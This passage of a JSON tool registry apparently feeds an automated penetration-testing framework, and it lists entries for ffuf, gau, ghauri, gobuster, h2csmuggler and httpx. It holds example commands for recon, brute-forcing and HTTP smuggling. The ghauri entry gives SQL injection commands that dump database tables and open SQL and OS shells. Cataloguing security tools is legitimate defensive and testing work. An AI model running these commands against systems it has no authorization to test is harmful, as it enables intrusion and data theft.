        "required": false,
        "default_value": false,
        "description": "Enable recursion",
        "aliases": [
          "-recursion"
        ],
        "flag": "-recursion"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Silent mode",
        "aliases": [
          "-s",
          "--silent"
        ],
        "flag": "-s"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 40,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL with FUZZ keyword",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": true,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "FFUF GitHub",
        "url": "https://github.com/ffuf/ffuf"
      },
      {
        "label": "FFUF Documentation",
        "url": "https://github.com/ffuf/ffuf/wiki"
      }
    ],
    "related_tools": [
      "gobuster",
      "feroxbuster",
      "dirsearch",
      "wfuzz"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "discovery-results",
        "discovered-paths",
        "discovered-vhosts"
      ],
      "consumes": [
        "target-url",
        "wordlist",
        "fuzz-parameters"
      ]
    }
  },
  {
    "_body": "\n# gau — Get All URLs\n\ngau (Get All URLs) collects URLs from multiple public sources including the Wayback Machine, AlienVault OTX, and CommonCrawl. It provides comprehensive passive endpoint discovery for web security assessments and bug bounty hunting.\n\n## Common Pipelines\n\n```bash\n# Find parameters\ngau target.com | grep \"?.*=\" | sort -u\n\n# Find JavaScript files\ngau target.com | grep \"\\.js$\" | sort -u\n\n# Pipeline probe live hosts\ngau target.com | sort -u | httpx -status-code -title -json\n\n# Full passive recon\necho target.com | gau --subdomains | sort -u | httpx -silent | nuclei -t cves/\n```\n",
    "_source": "gau.md",
    "allowed-tools": [
      "gau",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "crawl.txt",
        "description": "Collected historical URLs",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.endpoint",
      "web.archive.url",
      "security.recon.passive",
      "web.enumeration.parameter"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain to gather URLs for"
        }
      ],
      "outputs": [
        {
          "type": "crawl.txt",
          "description": "Aggregated list of historical URLs from multiple sources",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Get All URLs (gau) fetches known URLs from AlienVault's OTX, WayBack Machine, and other public archives for passive endpoint discovery.",
    "examples": [
      {
        "description": "Fetch all URLs for a domain",
        "command": "gau example.com"
      },
      {
        "description": "Fetch URLs including subdomains",
        "command": "gau --subdomains example.com"
      },
      {
        "description": "Fetch from specific providers only",
        "command": "gau --providers wayback,otx example.com"
      },
      {
        "description": "Exclude common file extensions",
        "command": "gau --blacklist png,jpg,gif,css example.com"
      },
      {
        "description": "Multiple domains from stdin",
        "command": "cat domains.txt | gau --subdomains"
      },
      {
        "description": "Pipeline to probe live hosts",
        "command": "gau example.com | sort -u | httpx -status-code -title"
      }
    ],
    "execution": {
      "template": "gau {target} {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "id": "security-web-gau",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/lc/gau",
        "commands": [
          "go install github.com/lc/gau/v2/cmd/gau@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "gau",
    "namespace": "security:web:gau",
    "parameters": [
      {
        "name": "flag-o",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-providers",
        "type": "string",
        "required": false,
        "description": "Comma-separated list of providers (wayback,otx,commoncrawl)",
        "aliases": [
          "-p",
          "--providers"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-subdomains",
        "type": "boolean",
        "required": false,
        "description": "Include subdomain URLs",
        "alises": [
          "-s",
          "--subdomains"
        ]
      },
      {
        "name": "flag-blacklist",
        "type": "string",
        "required": false,
        "description": "File extensions to exclude",
        "aliases": [
          "-b",
          "--blacklist"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "gau GitHub",
        "url": "https://github.com/lc/gau"
      }
    ],
    "related_tools": [
      "waybackurls",
      "paramspider",
      "katana",
      "arjun"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "url-list",
        "endpoint-list"
      ],
      "consumes": [
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# Ghauri — SQL Injection Detection and Exploitation Tool\n\nGhauri is an advanced SQL injection detection and exploitation tool written in Go, inspired by sqlmap. It supports multiple DBMS types and injection techniques including Boolean-based, error-based, time-based, UNION query, and stacked queries.\n\n## Basic Usage\n\n```bash\n# Basic detection\nghauri -u \"http://target.com/page?id=1\" --batch\n\n# Enumerate databases\nghauri -u \"http://target.com/page?id=1\" --dbs --batch\n\n# Dump a specific table\nghauri -u \"http://target.com/page?id=1\" -D mydb -T users --dump --batch\n\n# Interactive SQL shell\nghauri -u \"http://target.com/page?id=1\" --sql-shell\n```\n\n## Supported Techniques\n\n| Technique | Flag | Description |\n|-----------|------|-------------|\n| Boolean | B | Boolean-based blind injection |\n| Error | E | Error-based injection |\n| Union | U | UNION query injection |\n| Stacked | S | Stacked queries injection |\n| Time | T | Time-based blind injection |\n| Query | Q | Inline query injection |\n",
    "_source": "ghauri.md",
    "allowed-tools": [
      "ghauri",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "dump.json",
        "description": "Dumped database contents as JSON",
        "mime": "application/json",
        "trust_level": "community"
      },
      {
        "type": "dump.csv",
        "description": "Dumped database contents as CSV",
        "mime": "text/csv",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.attack.sql-injection",
      "web.vulnerability.scanner",
      "web.exploit.database",
      "web.enumeration.schema",
      "web.enumeration.table"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with potential SQL injection point"
        },
        {
          "type": "web.target.data",
          "description": "POST data for parameter injection"
        },
        {
          "type": "web.target.cookie",
          "description": "Session cookies for authenticated injection"
        }
      ],
      "outputs": [
        {
          "type": "dump.json",
          "description": "Extracted database contents",
          "mime": "application/json"
        },
        {
          "type": "dump.csv",
          "description": "Extracted database contents as CSV",
          "mime": "text/csv"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Advanced SQL injection detection and exploitation tool written in Go with support for multiple DBMS and injection techniques.",
    "examples": [
      {
        "description": "Basic SQL injection detection",
        "command": "ghauri -u \"http://target.com/page?id=1\" --batch"
      },
      {
        "description": "Enumerate all databases",
        "command": "ghauri -u \"http://target.com/page?id=1\" --dbs --batch"
      },
      {
        "description": "Dump a specific table",
        "command": "ghauri -u \"http://target.com/page?id=1\" -D mydb -T users --dump --batch"
      },
      {
        "description": "OS shell via SQL injection",
        "command": "ghauri -u \"http://target.com/page?id=1\" --os-shell --batch"
      },
      {
        "description": "POST injection with custom headers",
        "command": "ghauri -u \"http://target.com/login\" --data \"user=admin&pass=test\" --headers \"X-Forwarded-For: 127.0.0.1\""
      },
      {
        "description": "High risk scan through proxy",
        "command": "ghauri -u \"http://target.com/page?id=1\" --level 3 --risk 3 --proxy http://127.0.0.1:8080 --batch"
      }
    ],
    "execution": {
      "template": "ghauri -u {target} --batch",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "stealth"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-ghauri",
    "install": [
      {
        "method": "pip",
        "package_name": "ghauri",
        "commands": [
          "pip install ghauri"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "ghauri",
    "namespace": "security:web:ghauri",
    "parameters": [
      {
        "name": "C",
        "type": "boolean",
        "required": false,
        "description": "COL                        Target column(s)",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "D",
        "template_key": "D",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specific database name to enumerate",
        "aliases": [
          "-D",
          "--db"
        ],
        "flag": "-D"
      },
      {
        "name": "T",
        "template_key": "T",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specific table name to enumerate",
        "aliases": [
          "-T",
          "--table"
        ],
        "flag": "-T"
      },
      {
        "name": "banner",
        "type": "boolean",
        "required": false,
        "description": "DBMS banner",
        "aliases": [
          "--banner"
        ],
        "flag": "--banner"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Non-interactive mode, use default answers",
        "aliases": [
          "--batch"
        ],
        "flag": "--batch"
      },
      {
        "name": "columns",
        "type": "boolean",
        "required": false,
        "description": "Enumerate columns",
        "aliases": [
          "--columns"
        ],
        "flag": "--columns"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP cookies for authenticated requests",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "current_db",
        "type": "boolean",
        "required": false,
        "description": "Current database",
        "aliases": [
          "--current-db"
        ],
        "flag": "--current-db"
      },
      {
        "name": "current_user",
        "type": "boolean",
        "required": false,
        "description": "Current DBMS user",
        "aliases": [
          "--current-user"
        ],
        "flag": "--current-user"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data string for parameter injection",
        "aliases": [
          "--data"
        ],
        "flag": "--data"
      },
      {
        "name": "dbms",
        "template_key": "dbms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force DBMS type (mysql, mssql, postgres, oracle, sqlite)",
        "aliases": [
          "--dbms"
        ],
        "flag": "--dbms"
      },
      {
        "name": "dbs",
        "type": "boolean",
        "required": false,
        "description": "Enumerate databases",
        "aliases": [
          "--dbs"
        ],
        "flag": "--dbs"
      },
      {
        "name": "dump",
        "template_key": "dump",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Dump database table entries",
        "aliases": [
          "--dump"
        ],
        "flag": "--dump"
      },
      {
        "name": "headers",
        "type": "boolean",
        "required": false,
        "description": "HDRS                Additional headers",
        "aliases": [
          "--headers"
        ],
        "flag": "--headers"
      },
      {
        "name": "level",
        "template_key": "level",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Injection depth level (1-5)",
        "aliases": [
          "--level"
        ],
        "flag": "--level"
      },
      {
        "name": "os_shell",
        "type": "boolean",
        "required": false,
        "description": "OS shell",
        "aliases": [
          "--os-shell"
        ],
        "flag": "--os-shell"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy address",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "random-agent",
        "template_key": "random-agent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use random User-Agent header",
        "aliases": [
          "--random-agent"
        ],
        "flag": "--random-agent"
      },
      {
        "name": "risk",
        "template_key": "risk",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Risk level (1-3)",
        "aliases": [
          "--risk"
        ],
        "flag": "--risk"
      },
      {
        "name": "sql_shell",
        "type": "boolean",
        "required": false,
        "description": "SQL shell",
        "aliases": [
          "--sql-shell"
        ],
        "flag": "--sql-shell"
      },
      {
        "name": "tables",
        "template_key": "tables",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate database tables",
        "aliases": [
          "--tables"
        ],
        "flag": "--tables"
      },
      {
        "name": "technique",
        "template_key": "technique",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Injection techniques to use (BEUSTQ)",
        "aliases": [
          "--technique"
        ],
        "flag": "--technique"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of concurrent threads",
        "aliases": [
          "--threads"
        ],
        "flag": "--threads"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL with injection point",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Ghauri GitHub",
        "url": "https://github.com/r0eXpeR/ghauri"
      },
      {
        "label": "Ghauri documentation",
        "url": "https://github.com/r0eXpeR/ghauri#readme"
      }
    ],
    "related_tools": [
      "sqlmap",
      "commix",
      "sqlninja"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "enumeration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "database-schema",
        "database-dump",
        "sql-shell",
        "os-shell"
      ],
      "consumes": [
        "target-url",
        "sqli-evidence"
      ]
    }
  },
  {
    "_body": "\n# Gobuster — Multi-Purpose Brute-Force Tool\n\nGobuster is a fast, multi-purpose brute-force tool written in Go. It supports directory/file discovery, DNS subdomain enumeration, virtual host discovery, and cloud bucket enumeration.\n\n## Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| Directory | `gobuster dir -u URL -w WORDLIST` | Find hidden directories/files |\n| DNS | `gobuster dns -d DOMAIN -w WORDLIST` | Enumerate DNS subdomains |\n| VHost | `gobuster vhost -u URL -w WORDLIST` | Discover virtual hosts |\n| S3 | `gobuster s3 -w WORDLIST` | Find S3 buckets |\n\n## Basic Usage\n\n```bash\n# Directory brute-force\ngobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt -t 50\n\n# DNS subdomain enumeration\ngobuster dns -d example.com -w subdomains.txt -t 20\n\n# Virtual host discovery\ngobuster vhost -u https://example.com -w vhosts.txt -t 30\n```\n\n## Operational Security\n\n- High thread counts can overwhelm target servers\n- Use `-k` to skip TLS verification on internal networks\n- DNS queries can be logged by the DNS server\n- Scanning without authorization is illegal\n",
    "_source": "gobuster.md",
    "allowed-tools": [
      "gobuster",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.discovery.results",
        "description": "Discovered paths or subdomains",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "web.discovery.dns",
        "description": "DNS subdomain enumeration results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.path",
      "web.discovery.file",
      "web.discovery.vhost",
      "web.discovery.dns",
      "web.discovery.bucket",
      "web.content.brute"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL"
        },
        {
          "type": "network.target.domain",
          "description": "Target domain for DNS enumeration"
        },
        {
          "type": "file.wordlist",
          "description": "Wordlist for brute-forcing"
        }
      ],
      "outputs": [
        {
          "type": "web.discovery.results",
          "description": "Discovered paths or subdomains",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Multi-purpose brute-force tool for directory/file discovery, DNS subdomain enumeration, and cloud bucket enumeration.",
    "examples": [
      {
        "description": "Directory brute-force with common wordlist",
        "command": "gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt -t 50"
      },
      {
        "description": "Directory scan with file extensions",
        "command": "gobuster dir -u https://example.com -w wordlist.txt -x php,html,asp -t 30"
      },
      {
        "description": "DNS subdomain enumeration",
        "command": "gobuster dns -d example.com -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -t 20"
      },
      {
        "description": "Virtual host enumeration",
        "command": "gobuster vhost -u https://example.com -w vhost-wordlist.txt -t 20"
      },
      {
        "description": "S3 bucket enumeration",
        "command": "gobuster s3 -w bucket-names.txt"
      },
      {
        "description": "Scan with custom headers and cookies",
        "command": "gobuster dir -u https://example.com -w wordlist.txt -H \"Authorization: Bearer token\" -c \"session=abc123\""
      },
      {
        "description": "Quiet mode with status code filtering",
        "command": "gobuster dir -u https://example.com -w wordlist.txt -s 200,204,301,302,307 -q"
      }
    ],
    "execution": {
      "template": "gobuster dir -u {target} -w {wordlist} -t {threads}",
      "sandbox": "execFile",
      "timeout_seconds": 1800,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {
      "target": "url",
      "wordlist": "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt",
      "threads": "10"
    },
    "id": "security-web-gobuster",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/OJ/gobuster/v3",
        "commands": [
          "go install github.com/OJ/gobuster/v3@latest"
        ]
      },
      {
        "method": "apt",
        "package_name": "gobuster",
        "commands": [
          "apt-get install -y gobuster"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595",
      "T1046"
    ],
    "name": "gobuster",
    "namespace": "security:web:gobuster",
    "parameters": [
      {
        "name": "cookies",
        "template_key": "cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookies to include in requests",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "domain",
        "template_key": "domain",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target domain (dns mode)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "exclude_length",
        "type": "boolean",
        "required": false,
        "description": "Exclude results of given content length",
        "aliases": [
          "--exclude-length"
        ],
        "flag": "--exclude-length"
      },
      {
        "name": "extensions",
        "template_key": "extensions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File extensions to search (dir mode)",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "insecure",
        "template_key": "insecure",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Skip TLS certificate verification",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "mode",
        "template_key": "mode",
        "type": "string",
        "required": true,
        "default_value": "dir",
        "description": "Mode: dir, dns, vhost, s3",
        "aliases": []
      },
      {
        "name": "no-redirect",
        "template_key": "no-redirect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Do not follow redirects",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode (no banner or progress)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "-r",
          "--follow-redirect"
        ],
        "flag": "-r"
      },
      {
        "name": "status-codes",
        "template_key": "status-codes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Status codes to include (positive)",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "HTTP request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target URL (dir, vhost modes)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "wildcard",
        "template_key": "wildcard",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force wildcard detection",
        "aliases": [
          "--wildcard"
        ],
        "flag": "--wildcard"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": true,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "Do not display progress",
        "aliases": [
          "-z",
          "--no-progress"
        ],
        "flag": "-z"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Gobuster GitHub",
        "url": "https://github.com/OJ/gobuster"
      }
    ],
    "related_tools": [
      "dirsearch",
      "feroxbuster",
      "ffuf",
      "wfuzz"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "discovered-paths",
        "discovered-subdomains",
        "discovered-vhosts"
      ],
      "consumes": [
        "target-url",
        "target-domain",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n# h2csmuggler — HTTP/2 Cleartext Smuggling\n\nh2csmuggler is a tool from Bishop Fox for detecting HTTP/2 cleartext (h2c) smuggling vulnerabilities. It exploits the HTTP/1.1 to HTTP/2 upgrade mechanism to smuggle requests through reverse proxies and load balancers.\n\n## Usage\n\n```bash\n# Basic test\nh2csmuggler https://example.com\n\n# Check all variants\nh2csmuggler -x https://example.com\n\n# Through proxy\nh2csmuggler -p http://127.0.0.1:8080 https://example.com\n```\n",
    "_source": "h2csmuggler.md",
    "allowed-tools": [
      "h2csmuggler",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.smuggling.report",
        "description": "h2c smuggling scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.smuggle.h2c",
      "web.smuggle.detect",
      "web.protocol.h2c-upgrade"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target web server URL"
        }
      ],
      "outputs": [
        {
          "type": "web.smuggling.report",
          "description": "Scan results for h2c smuggling",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "HTTP/2 cleartext smuggling tool that exploits connection upgrade to smuggle requests through reverse proxies and load balancers.",
    "examples": [
      {
        "description": "Basic h2c smuggling test",
        "command": "h2csmuggler https://example.com"
      },
      {
        "description": "Check all smuggling variants",
        "command": "h2csmuggler -x https://example.com"
      },
      {
        "description": "Use proxy for testing",
        "command": "h2csmuggler -p http://127.0.0.1:8080 https://example.com"
      }
    ],
    "execution": {
      "template": "h2csmuggler {flag-x} {flag-wait} {flag-proxy} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "remote"
    ],
    "id": "security-web-h2csmuggler",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/BishopFox/h2csmuggler.git",
        "commands": [
          "git clone https://github.com/BishopFox/h2csmuggler.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "h2csmuggler",
    "namespace": "security:web:h2csmuggler",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target URL or host:port"
      },
      {
        "name": "flag-x",
        "type": "boolean",
        "required": false,
        "description": "Check all smuggling variants",
        "aliases": [
          "-x",
          "--check-all"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-wait",
        "type": "integer",
        "required": false,
        "description": "Wait time in seconds between requests",
        "aliases": [
          "-w",
          "--wait"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-proxy",
        "type": "string",
        "required": false,
        "description": "HTTP proxy to use",
        "aliases": [
          "-p",
          "--proxy"
        ],
        "flag": "-p"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "h2csmuggler GitHub",
        "url": "https://github.com/BishopFox/h2csmuggler"
      }
    ],
    "related_tools": [
      "smuggler",
      "burpsuite",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "smuggling-scan-results"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# httpx — HTTP Probing Toolkit\n\nhttpx is a fast and versatile HTTP probing tool from ProjectDiscovery used to analyze web servers, detect technologies, capture response metadata, and filter live hosts from large target sets. It is commonly pipelined with other tools like subfinder and nuclei.\n\n## Pipeline Usage\n\n```bash\n# Subfinder -> httpx -> nuclei\nsubfinder -d example.com | httpx -status-code -title | nuclei -t cves/\n\n# MassDNS -> httpx -> screenshot\nmassdns -r resolvers.txt -t A domains.txt | httpx -silent | aquatone\n```\n\n## Common Probes\n\n```bash\n# Basic probing\ncat hosts.txt | httpx -status-code -content-type -title\n\n# Full technology detection\nsubfinder -d example.com | httpx -tech-detect -json\n\n# Extract all alive hosts\ncat urls.txt | httpx -silent -status-code\n\n# Favicon hash for service identification\nhttpx -l urls.txt -favicon\n```\n",
    "_source": "httpx.md",
    "allowed-tools": [
      "httpx",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.http.response",
        "description": "HTTP probe response data",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "web.fingerprint.results",
        "description": "Technology fingerprint results",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.endpoint",
      "web.fingerprint.technology",
      "web.probe.http",
      "web.enumeration.asset",
      "security.fingerprint.service"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "Target URL to probe"
        },
        {
          "type": "network.target.domain.list",
          "description": "File containing list of hosts/domains"
        },
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        }
      ],
      "outputs": [
        {
          "type": "web.fingerprint.results",
          "description": "Live hosts with status codes and technologies",
          "mime": "application/json"
        },
        {
          "type": "network.http.response",
          "description": "Raw HTTP response data",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast and multi-purpose HTTP toolkit from ProjectDiscovery for probing, analyzing, and fingerprinting web servers and services.",
    "examples": [
      {
        "description": "Probe a single URL",
        "command": "echo \"https://example.com\" | httpx -status-code -title"
      },
      {
        "description": "Probe multiple hosts from a file",
        "command": "httpx -l hosts.txt -status-code -tech-detect -json"
      },
      {
        "description": "Probe with favicon hash extraction",
